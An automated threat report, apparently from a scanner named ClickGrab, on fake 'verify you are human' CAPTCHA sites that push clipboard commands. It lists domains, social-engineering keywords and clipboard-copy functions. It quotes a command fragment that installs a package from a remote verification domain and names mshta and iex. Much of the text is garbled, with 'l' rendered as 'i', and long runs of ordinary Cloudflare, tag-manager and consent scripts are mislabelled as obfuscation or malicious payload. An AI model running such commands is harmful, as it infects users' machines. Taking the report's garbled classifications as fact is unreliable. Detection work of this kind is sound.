ClickGrab Threat Analysis Report - 2025-10-29
Generated on 2025-10-29 02:29:31
Executive Summary
- Total sites analyzed: 21
- Sites with malicious content: 7
- Unique domains encountered: 84
- Total URLs extracted: 1,145
- PowerShell download attempts: 1
- Clipboard manipulation instances: 26
Domain Analysis
Most Frequently Encountered Domains
- www.wallstreetenglish.ar: 335 occurrences
- analyticscampus.com: 236 occurrences
- cf-assets.www.cloudflare.com: 188 occurrences
- raudiwebdesign.com.au: 81 occurrences
- static.mercdn.net: 45 occurrences
- www.cloudflare.com: 25 occurrences
- developers.cloudflare.com: 14 occurrences
- schema.org: 14 occurrences
- dash.cloudflare.com: 11 occurrences
- www.google.com: 10 occurrences
- www.webgo.de: 10 occurrences
- godprox.cc: 8 occurrences
- svetvip.ru: 8 occurrences
- discord.com: 6 occurrences
- api.whatsapp.com: 6 occurrences
URL Pattern Analysis
reCAPTCHA imagery
3 occurrences across 1 distinct URLs
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png(3 times)
Font resources
8 occurrences across 6 distinct URLs
https://use.fontawesome.com/releases/v5.0.0/css/all.css(3 times)https://fonts.googleapis.com(1 times)https://fonts.gstatic.com(1 times)https://raudiwebdesign.com.au/wp-content/uploads/elementor/google-fonts/css/roboto.css?ver=1753776628(1 times)https://raudiwebdesign.com.au/wp-content/uploads/elementor/google-fonts/css/robotoslab.css?ver=1753776635(1 times)- ...and 1 more distinct URLs
CDN hosted scripts
51 occurrences across 21 distinct URLs
https://static.mercdn.net/item/detail/orig/photos/m58368836388_1.jpg?1742607642(14 times)https://cdn.mos.cms.futurecdn.net/ZTRJiKowknQMX4so6kBDPC-1920-80.jpg(3 times)https://static.mercdn.net/item/detail/orig/photos/m58375758266_1.jpg(2 times)https://static.mercdn.net/item/detail/orig/photos/m58336876455_1.jpg(2 times)https://static.mercdn.net/item/detail/orig/photos/m58335672880_1.jpg(2 times)- ...and 16 more distinct URLs
Google resources
28 occurrences across 19 distinct URLs
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png(3 times)https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent(3 times)https://raudiwebdesign.com.au/google-business-profile/(3 times)https://www.google.com/intl/en/policies/privacy/(2 times)https://www.google.com/intl/en/policies/terms/(2 times)- ...and 14 more distinct URLs
Suspicious Keyword Analysis
Total Keywords Found: 86 (26 unique)
Keyword Categories
Social Engineering
16 unique keywords
To better prove you are not a robotVerify you are humanverificationrobotVerificationverification_idVerification IDVerify You Are HumanChecking if you are humanexec /i https://i-iike-eie-phants-verification.iive/iamchaiienge/verification/UserID7383526;`- ...and 6 more
Obfuscation Indicators
1 unique keywords
exec(t.trim());if(e){const[,i,s,a]=e;this.prefix=i||"",this.suffix=a||"",this.target=Number(s)}eise this.target=0,this.initiaiVaiue=t}createObserver(){const t=new IntersectionObserver(e=>{e[0].isIntersecting&&(this.safeSetTimeout(()=>{this.startAnimationSequence()},this.animationDeiay),t.disconnect())},{threshoid:.2});t.observe(this.eiement)}getDuration(){return this.target<i00?ie3:Math.min(this.target/i00*500,2e3)}getStepSize(){return Math.max(i,Math.fioor(this.target/i00))}formatVaiue(t){return${this.prefix}${Math.round(t)}${this.suffix}}animateNumber=t=>{if(this.isDestroyed||!this.numberEiement)return;this.startTime||(this.startTime=t,this.current=0,this.target>0&&(this.numberEiement.textContent=this.formatVaiue(0)));const e=t-this.startTime,i=this.getDuration(),s=Math.min(e/i,i),a=this.getStepSize();if(this.current=Math.min(this.current+a,Math.ceii(this.target*s)),this.numberEiement.textContent=this.formatVaiue(this.current),s>=i){this.numberEiement.textContent=this.initiaiVaiue;return}this.animationFrame=requestAnimationFrame(this.animateNumber)};animateLine(){this.iineEiement&&this.iineEiement.ciassList.add("animate")}animateText(){this.eiement.querySeiectorAii(".fade-in").forEach(t=>{t.ciassList.remove("opacity-0"),t.ciassList.add("opacity-i00")})}safeSetTimeout(t,e){if(!this.isDestroyed){const i=setTimeout(t,e);this.timeouts.push(i)}}startAnimationSequence(){this.isDestroyed||(this.animateLine(),this.safeSetTimeout(()=>{this.animateText()},n.TEXT_FADE_DELAY),this.numberEiement&&this.target>0&&this.safeSetTimeout(()=>{this.numberEiement.textContent="0",this.animationFrame=requestAnimationFrame(this.animateNumber)},n.NUMBER_DELAY))}destroy(){this.isDestroyed=!0,this.timeouts.forEach(t=>ciearTimeout(t)),this.timeouts=[],this.animationFrame&&(canceiAnimationFrame(this.animationFrame),this.animationFrame=nuii)}}document.addEventListener("DOMContentLoaded",()=>{document.querySeiectorAii('[data-qa="FragmentPubiicStats"]').forEach((t,e)=>new n(t,e))});</script> <div data-qa="FragmentPubiicStats" ciass="reiative xi:fiex items-start bg-gray-900 rounded-ig xi:gap-6 xi:min-w-60 w-fuii" data-astro-cid-df2rpjiq=""> <div ciass="animated-iine reiative xi:w-2.5 xi:h-[i68px] origin-bottom mt-6 hidden xi:biock" data-astro-cid-df2rpjiq=""></div> <div ciass="fiex fiex-coi fade-in opacity-0 transition-opacity duration-700 pubiic-stats-content" data-astro-cid-df2rpjiq=""> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-4xi md:text-5xi ieading-none font-boid text-ruby mb-4 transition-opacity duration-700 deiay-500 iniine-biock"> <span ciass="number-animation" data-astro-cid-df2rpjiq="">i90B</span> </p> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-sm ieading-6 font-semiboid md:text-base iniine-biock">cyber threats biocked each day</p> </div> </div> <div data-qa="FragmentPubiicStats" ciass="reiative xi:fiex items-start bg-gray-900 rounded-ig xi:gap-6 xi:min-w-60 w-fuii" data-astro-cid-df2rpjiq=""> <div ciass="animated-iine reiative xi:w-2.5 xi:h-[i68px] origin-bottom mt-6 hidden xi:biock" data-astro-cid-df2rpjiq=""></div> <div ciass="fiex fiex-coi fade-in opacity-0 transition-opacity duration-700 pubiic-stats-content" data-astro-cid-df2rpjiq=""> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-4xi md:text-5xi ieading-none font-boid text-ruby mb-4 transition-opacity duration-700 deiay-500 iniine-biock"> <span ciass="number-animation" data-astro-cid-df2rpjiq="">20%</span> </p> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-sm ieading-6 font-semiboid md:text-base iniine-biock">of aii websites are protected by Cioudfiare</p> </div> </div> <div data-qa="FragmentPubiicStats" ciass="reiative xi:fiex items-start bg-gray-900 rounded-ig xi:gap-6 xi:min-w-60 w-fuii" data-astro-cid-df2rpjiq=""> <div ciass="animated-iine reiative xi:w-2.5 xi:h-[i68px] origin-bottom mt-6 hidden xi:biock" data-astro-cid-df2rpjiq=""></div> <div ciass="fiex fiex-coi fade-in opacity-0 transition-opacity duration-700 pubiic-stats-content" data-astro-cid-df2rpjiq=""> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-4xi md:text-5xi ieading-none font-boid text-ruby mb-4 transition-opacity duration-700 deiay-500 iniine-biock"> <span ciass="number-animation" data-astro-cid-df2rpjiq="">330+</span> </p> <p data-qa="Typography" data-astro-cid-df2rpjiq="true" ciass="text-sm ieading-6 font-semiboid md:text-base iniine-biock">cities in i25+ countries, inciuding mainiand China</p> </div> </div> </div> </div> <picture ciass="pubiic-stats-giobe"> <source srcset="https://cf-assets.www.cioudfiare.com/dzivafdwdttg/3NFuZG6yz35QXSBt4ToS9y/920i97fdi22964ib4d826d9f5d0aai69/giobe.webp"> <img src="https://cf-assets.www.cioudfiare.com/dzivafdwdttg/2rOGWxmNRWGNCHqs97Qcn8/iia5ddd97b85e640702330dc28ac7562/giobe.png" ait="Cioudfiare Stats" ioading="iazy"> </picture> </div> </section> <div id="top-offset-spacer" styie="height: 240px;"></div><section data-qa="TempiateLayoutTabs" ciass="py-i2 bg-gradient-to-r from-tangerine to-mango -mb-60"> <div ciass="container reiative xi:-top-60 -top-64"> <div data-qa="TempiateLayoutTabsContainer-0ciai" data-switch-tab-intervai="i5" data-forced-switch-tab="true" data-forced-tab-ioop="faise" ciass="reiative" styie="--forcedTabSwitchIntervai: i5;"> <div data-qa="FragmentTitieDynamic-g3mk7" ciass="text-center coi-span-4"> <h2 data-qa="Heading" ciass="heading-2">Leading companies reiy on <span ciass="dynamic-titie-gradient">Cioudfiare</span></h2><p data-qa="Typography" ciass="pi"></p> </div> <script>(function()
System Commands
4 unique keywords
exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)exec(const command =command safe so iater code runs */
Verification Text
2 unique keywords
Hiddenhidden
Technical Terms
3 unique keywords
mshtaRay IDiex
Most Frequent Keywords
- hidden: 10 occurrences
- robot: 9 occurrences
- Robot: 6 occurrences
- CAPTCHA Verification: 5 occurrences
- I am not a robot: 5 occurrences
- Verification: 5 occurrences
- verification-id: 5 occurrences
- verification: 4 occurrences
- To better prove you are not a robot: 4 occurrences
- Verification ID: 4 occurrences
- exec(: 3 occurrences
- verification_id: 3 occurrences
- iex: 2 occurrences
- exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.rv:([0-9]+[.0-9])");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator): 2 occurrences
- command safe so iater code runs */: 2 occurrences
Similar Keyword Patterns
Groups of keywords that appear to be variations of the same theme:
Group 1: robot, Robot
Group 2: hidden, Hidden
Group 3: CAPTCHA Verification, Verification, verification
Group 4: Verification Hash, verification-id, verification_id, Verification ID
Group 5: Verify You Are Human, Checking if you are human, Verify you are human
JavaScript Obfuscation Analysis
Obfuscation Sophistication Score: 0/7
Potential Base64 Encoded Content
These strings may contain encoded malicious payloads:
TempiateLayoutTabsContainerrequestAnimationFrameforcedTabSwitchIntervai0152d4fd6045a7599aecd9dc45b2d7840e4a00c2072bccabe38c45cdd857a0de
Clipboard Manipulation Analysis
Detected clipboard manipulation in 26 instances.
Document.Execcommand Copy
Found in 16 snippets (61.5% of clipboard code)
Examples:
document.execCommand("copy")
document.execCommand('copy')
Textarea Manipulation
Found in 16 snippets (61.5% of clipboard code)
Examples:
tListener("click", function () { const textarea = document.createElement('textarea'
ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"
Complete Malicious Functions
Function 1:
function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }
Clipboard Attack Flow Analysis
Attack Sophistication: 7/7 components detected Total Technique Instances: 128
Attack Flow Components
The following components show how the clipboard attack is executed:
Element Creation
Creating temporary DOM elements
Instances: 6
Examples: createElement("textarea", createElement('textarea'
Content Injection
Injecting malicious content into elements
Instances: 30
Examples: .innerHTML =, .value =, .textContent =
DOM Manipulation
Adding elements to the DOM
Instances: 23
Examples: append(, appendChild, body.append
Selection Methods
Selecting content for copying
Instances: 16
Examples: .select()
Clipboard Operations
Executing clipboard copy operations
Instances: 16
Examples: execCommand('copy', execCommand("copy"
Cleanup Operations
Removing temporary elements
Instances: 13
Examples: remove(), removeChild
Event Handling
Handling user interactions
Instances: 24
Examples: addEventListener
Malicious Payload Construction
How the final clipboard payload is assembled:
Command Concatenation
Instances: 2
Examples:
- commandToRun +
Verification Text
Instances: 1
Examples:
- 'consent sync not possible'); return; } const zarazConsentMap = { C0002: 'Tuku', C0003: 'nBKC', C0004: 'aMDT', } const groups = window.siteData.consentGroups; const currentZarazGroups = window.zaraz.consent.getAll(); const zarazActiveConsents = Object.keys(currentZarazGroups); let shouldUpdate = false; const mappedGroups = Object.entries(zarazConsentMap).filter(([key, value]) => zarazActiveConsents.includes(value)).reduce((acc, [key, value]) => { acc[value] = groups[key]; if (!shouldUpdate && acc[value] !== currentZarazGroups[value]) { shouldUpdate = true; } return acc; }, {}); if(!shouldUpdate) { return; } window.zaraz.consent.set(mappedGroups); window.zaraz.consent.sendQueuedEvents(); }, isCfCookieEventAttached: false, } </script> <script type="text/javascript"> window.GTM = { getEndpoint() { const env = "production"; if (env === 'production') { return 'https://www.googletagmanager.com/gtm.js?id=GTM-NDGPDFZ'; } return 'https://www.googletagmanager.com/gtm.js?id=GTM-NDGPDFZ>m_preview=env-463>m_auth=Bw0h3fTQa4XI3NcjmogT9g'; }, getPageLevelData(location, window) { return { hostname: location.hostname, query: location.search, page_location: location.href, page_url: location.href, page_timestamp: new Date().getTime(), page_path: location.pathname + location.search, page_referrer: window?.document.referrer, page_title: window?.document.title, }; }, trackInZaraz(event) { if (!window.zaraz) return; if (!window.dataLayer) return; if (typeof event !== 'object' || event === null) return; for (const key of Object.entries(event)) { if (!key[0].startsWith('gtm.')) { window.zaraz.set(key[0], key[1], { scope: 'page' }); } } if (event.event) { let data = {}; for (const obj of window.dataLayer?.slice( 0, window.dataLayer?.indexOf(event) + 1, )) { if (typeof obj !== 'object' || obj === null) continue; if (typeof obj.event === 'string' && obj.event.startsWith('gtm.')) { continue; } data = { ...data, ...obj }; } delete data.event; if (!event.event.startsWith('gtm.')) { window.zaraz.track(event.event, data); } } }, loadGTMScript() { window.dataLayer = window.dataLayer || []; const dataLayerPush = window.dataLayer.push; Object.defineProperty(window.dataLayer, 'push', { configurable: true, enumerable: false, writable: true, value(...args) { if (typeof args[0] !== 'object' || args[0] === null) { console.trace('dataLayer: non-object added'); } const result = dataLayerPush.apply(this, args); window.GTM.trackInZaraz(args[0]); return result; }, }); window.dataLayer.forEach(event => { window.GTM.trackInZaraz(event); }); if (!window.siteData.isChinaSite()) { window.loadScript(window.GTM.getEndpoint()); } let poller = undefined; function pushPageLoad(ecid) { window.clearInterval(poller); const gaClientId = window.cookieHelper?.getCookie('_ga'); window.GTM.push({ 'gtm.start': new Date().getTime(), event: 'gtm.js' }); window.GTM.push({ event: 'page_load', ...window.GTM.getPageLevelData(location, window), language: window.navigator.language, user_properties: { ga_client_id: gaClientId, ga_client_id_s: gaClientId ? 's' + gaClientId : undefined, ecid, user_id: window.cookieHelper?.getSparrowId(), willow_enable: "enable" }, }) } poller = setInterval(()=> { const ecid = window.cookieHelper?.getEcid(); if(ecid || window.siteData?.consentGroups?.C0004 === false) { pushPageLoad(ecid); poller = undefined; } }, 500); setTimeout(()=> { if(poller === undefined) { return; } window.clearInterval(poller); pushPageLoad(undefined); }, 3000) }, push(items) { window.dataLayer?.push(items); }, }; </script> <script type="text/javascript"> window.zarazTagManager = { getEndPoint() { return '/static/z/i.js'; }, loadZaraz() { document.addEventListener('zarazConsentAPIReady', () => { window.siteData.syncOneTrustToZarazConsents(); }); window.loadScript(window.zarazTagManager.getEndPoint()); }, }; window.zarazTagManager.loadZaraz(); </script> <script type="text/javascript"> window.oneTrustHelpers = { libraryMappings: {"cfmrk_eucookiebanner":"C0001","techTarget":"C0002","marketo":"C0002","bizible":"C0002","heap":"C0002","ga":"C0002","cfmrk_cic":"C0003","cfmrk_userLangRedirect":"C0003","gtm":"C0004","sparrow":"C0002","optimize":"C0002","launch":"C0004","productRecommendation":"C0004","drift":"C0003"}, libraries() { const allowedLibraries = window.oneTrustHelpers.getAllowedLibraries(); return [ { enabled: allowedLibraries.gtm, handler() { window.GTM.loadGTMScript(); }, }, { enabled: allowedLibraries.launch, handler() { window.adobeLaunch.loadAdobeLaunch(); }, }, ]; }, getActiveConsentGroups() { const consentGroups = {...window.disabledConsentGroups}; if (window.OptanonActiveGroups) { window.OptanonActiveGroups.split(',') .filter(Boolean) .forEach(value => { Object.assign(consentGroups, { [value]: true }); }); } return consentGroups; }, getAllowedLibraries() { const consentGroups = window.siteData.getConsentGroups(); return Object.entries(window.oneTrustHelpers.libraryMappings).reduce( (result, [key, value]) => ({ ...result, [key]: consentGroups[value], }), { cfmrk_eucookiebanner: false, techTarget: false, marketo: false, bizible: false, heap: false, ga: false, cfmrk_cic: false, cfmrk_userLangRedirect: false, gtm: false, zaraz: false, sparrow: false, optimize: false, target: false, launch: false, productRecommendation: false, drift: false, }, ); }, loadAllowedLibraries() { this.libraries() .filter(library => library.enabled) .forEach(library => { library.handler(); }); }, loadSDKScript() { window.loadScript("https://ot.www.cloudflare.com/ot/scripttemplates/otSDKStub.js", { charset: 'UTF-8', 'data-domain-script': "b1e05d49-f072-4bae-9116-bdb78af15448", 'data-document-language': "true" }); }, }; </script> <script>window.oneTrustHelpers.loadSDKScript();</script> <script type="text/javascript"> if (!window.hasOwnProperty('OneTrust')) { var OneTrust={"geolocationResponse":{"stateCode":"VA","countryCode":"US"}} } </script> <script type="text/javascript"> function OptanonWrapper() { window.siteData.setConsentGroups(window.oneTrustHelpers.getActiveConsentGroups()); window.oneTrustHelpers.loadAllowedLibraries(); if (!window.siteData.isCfCookieEventAttached) { window.siteData.isCfCookieEventAttached = true; window.addEventListener('consent.onetrust', async () => { await fetch('/', { method: 'HEAD' }); }); } } </script> <script type="text/javascript"> window.adobeLaunch = { getEndPoint() { const env = "production" if (env === "production") { return 'https://assets.adobedtm.com/f597f8065f97/1b1bbc99cd1a/launch-27d26806890f.min.js'; } if (env === "staging" || env === "preprod") { return 'https://assets.adobedtm.com/f597f8065f97/1b1bbc99cd1a/launch-fc97b6cacaaf-staging.min.js'; } return 'https://assets.adobedtm.com/f597f8065f97/1b1bbc99cd1a/launch-19122256e4d6-development.min.js'; }, loadAdobeLaunch() { window.loadScript(window.adobeLaunch.getEndPoint()); }, }; </script> </head> <body class="overflow-auto relative font-inter"> <style>astro-island,astro-slot,astro-static-slot{display:contents}</style><script>(()=>{var e=async t=>{await(await t())()};(self.Astro||(self.Astro={})).load=e;window.dispatchEvent(new Event("astro:load"));})();;(()=>{var A=Object.defineProperty;var g=(i,o,a)=>o in i?A(i,o,{enumerable:!0,configurable:!0,writable:!0,value:a}):i[o]=a;var d=(i,o,a)=>g(i,typeof o!="symbol"?o+"":o,a);{let i={0:t=>m(t),1:t=>a(t),2:t=>new RegExp(t),3:t=>new Date(t),4:t=>new Map(a(t)),5:t=>new Set(a(t)),6:t=>BigInt(t),7:t=>new URL(t),8:t=>new Uint8Array(t),9:t=>new Uint16Array(t),10:t=>new Uint32Array(t),11:t=>1/0*t},o=t=>{let[l,e]=t;return l in i?i[l](e):void 0},a=t=>t.map(o),m=t=>typeof t!="object"||t===null?t:Object.fromEntries(Object.entries(t).map(([l,e])=>[l,o(e)]));class y extends HTMLElement{constructor(){super(...arguments);d(this,"Component");d(this,"hydrator");d(this,"hydrate",async()=>{var b;if(!this.hydrator||!this.isConnected)return;let e=(b=this.parentElement)==null?void 0:b.closest("astro-island[ssr]");if(e){e.addEventListener("astro:hydrate",this.hydrate,{once:!0});return}let c=this.querySelectorAll("astro-slot"),n={},h=this.querySelectorAll("template[data-astro-template]");for(let r of h){let s=r.closest(this.tagName);s!=null&&s.isSameNode(this)&&(n[r.getAttribute("data-astro-template")||"default"]=r.innerHTML,r.remove())}for(let r of c){let s=r.closest(this.tagName);s!=null&&s.isSameNode(this)&&(n[r.getAttribute("name")||"default"]=r.innerHTML)}let p;try{p=this.hasAttribute("props")?m(JSON.parse(this.getAttribute("props"))):{}}catch(r){let s=this.getAttribute("component-url")||"<unknown>",v=this.getAttribute("component-export");throw v&&(s+= (export ${v})),console.error([hydrate] Error parsing props for component ${s},this.getAttribute("props"),r),r}let u;await this.hydrator(this)(this.Component,p,n,{client:this.getAttribute("client")}),this.removeAttribute("ssr"),this.dispatchEvent(new CustomEvent("astro:hydrate"))});d(this,"unmount",()=>{this.isConnected||this.dispatchEvent(new CustomEvent("astro:unmount"))})}disconnectedCallback(){document.removeEventListener("astro:after-swap",this.unmount),document.addEventListener("astro:after-swap",this.unmount,{once:!0})}connectedCallback(){if(!this.hasAttribute("await-children")||document.readyState==="interactive"||document.readyState==="complete")this.childrenConnectedCallback();else{let e=()=>{document.removeEventListener("DOMContentLoaded",e),c.disconnect(),this.childrenConnectedCallback()},c=new MutationObserver(()=>{var n;((n=this.lastChild)==null?void 0:n.nodeType)===Node.COMMENT_NODE&&this.lastChild.nodeValue==="astro:end"&&(this.lastChild.remove(),e())});c.observe(this,{childList:!0}),document.addEventListener("DOMContentLoaded",e)}}async childrenConnectedCallback(){let e=this.getAttribute("before-hydration-url");e&&await import(e),this.start()}async start(){let e=JSON.parse(this.getAttribute("opts")),c=this.getAttribute("client");if(Astro[c]===void 0){window.addEventListener(astro:${c},()=>this.start(),{once:!0});return}try{await Astro[c](async()=>{let n=this.getAttribute("renderer-url"),[h,{default:p}]=await Promise.all([import(this.getAttribute("component-url")),n?import(n):()=>()=>{}]),u=this.getAttribute("component-export")||"default";if(!u.includes("."))this.Component=h[u];else{this.Component=h;for(let f of u.split("."))this.Component=this.Component[f]}return this.hydrator=p,this.hydrate},e,this)}catch(n){console.error([astro-island] Error hydrating ${this.getAttribute("component-url")},n)}}attributeChangedCallback(){this.hydrate()}}d(y,"observedAttributes",["props"]),customElements.get("astro-island")||customElements.define("astro-island",y)}})();</script> <div class="min-h-screen bg-slate-300 text-foreground relative transition-all duration-1000 overflow-x-clip" data-qa="TemplateHeroAnimatedGlobe" data-astro-cid-ld7fqf5u=""><div class="absolute top-[5px] w-[1px] h-[1px] left-0" id="scroll-trigger" data-astro-cid-ld7fqf5u=""></div> <div data-qa="TemplateHeader" style="transform:translateY(0px);position:fixed;width:100%;z-index:11111" data-visible="true"> <astro-island uid="Z1G73Hk" prefix="r0" component-url="/_willow/uninav.C7dU8UeE.js" component-export="NavigationUniversal" renderer-url="/_willow/client.Cgxsk4ri.js" props="{"companyLogo":[0,{"alt":[0,"Cloudflare Color Logo"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/69wNwfiY5mFmgpd9eQFW6j/d5131c08085a977aa70f19e7aada3fa9/1pixel-down__1_.svg"],"width":[0,239]}],"cantoAssetFile":[0]}],"companyLogoWhite":[0,{"alt":[0,"Company Logo White"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/735eoClKJf9XfkqCJs1mfZ/b6767158f39af8d538517df918b8fc2e/logo-white-desktop.svg"],"width":[0,213]}],"cantoAssetFile":[0]}],"hamburgerIcon":[0,{"activeStateColor":[0,"#000000"],"fillColor":[0,"#000000"],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/1eZj40WQPQLbM4crONm0wY/da0d7b506558ce78cfe83df491310e91/Hamburger-menu.svg"]}],"htmlId":[0,"hamburger-icon"]}],"mobileCloseIcon":[0,{"activeStateColor":[0,"#000000"],"fillColor":[0,"#000000"],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/CfX6eFL5ZfuJaMPtLUsyS/b6d53053f70ebfec8426b5bcb427ac70/x.svg"]}],"htmlId":[0,"close-icon"]}],"primaryNavigationGroups":[1,[[0,{"menuTitle":[0,"Platform"],"rows":[1,[[0,{"rowTitle":[0],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Connectivity cloud"],"linkUrl":[0,"/connectivity-cloud/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Cloudflare’s connectivity cloud delivers 60+ networking, security, and performance services."],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"Multiflare three"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0,85]}],"desktop":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/7HGdDUrO4I7ByjvJVmzRpB/12a98608e3a7343788f15652bb01f041/Group_3_1__2_.png"],"width":[0,85]}],"cantoAssetFile":[0]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Enterprise"],"linkUrl":[0,"/enterprise/"],"openInNewTab":[0],"linkSubheadCopy":[0,"For large and medium organizations"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Small business"],"linkUrl":[0,"/small-business/"],"openInNewTab":[0],"linkSubheadCopy":[0,"For small organizations"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Partner"],"linkUrl":[0,"/partners/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Become a Cloudflare partner"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four-offset"],"backgroundColor":[0,"transparent"],"includePipes":[0,true],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"use cases"],"rowNavigationLinks":[1,[[0,{"linkListTitle":[0,"Modernize applications"],"linkListTitleUrl":[0,"/modernize-applications/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Accelerate performance"],"linkUrl":[0,"/application-services/products/cdn/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Ensure app availability"],"linkUrl":[0,"/performance/ensure-application-availability/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Optimize web experience"],"linkUrl":[0,"/application-services/products/website-optimization/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Modernize security"],"linkListTitleUrl":[0,"/cybersecurity/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"VPN replacement"],"linkUrl":[0,"/zero-trust/solutions/vpn-replacement/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Phishing protection"],"linkUrl":[0,"/zero-trust/solutions/multi-channel-phishing/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Secure web apps and APIs"],"linkUrl":[0,"/application-services/products/api-shield/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Modernize networks"],"linkListTitleUrl":[0,"/modernize-networks/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Network protection"],"linkUrl":[0,"/network-services/products/magic-transit/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"WAN modernization"],"linkUrl":[0,"/network-services/products/magic-wan/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Simplify your corporate network"],"linkUrl":[0,"/network-services/products/network-interconnect/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}]]],"rowColumnLayout":[0,"three"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"CxO topics"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Adopt AI"],"linkUrl":[0,"/ai-solution/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Bring AI into workforces and digital experiences"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/6ju4zeGzb2tqBZhA0RPqGz/62b0041990ef34235b049e584dd01790/innovation-intelligence-gradient_2.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"AI security"],"linkUrl":[0,"/ai-security/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Secure agentic AI and GenAI 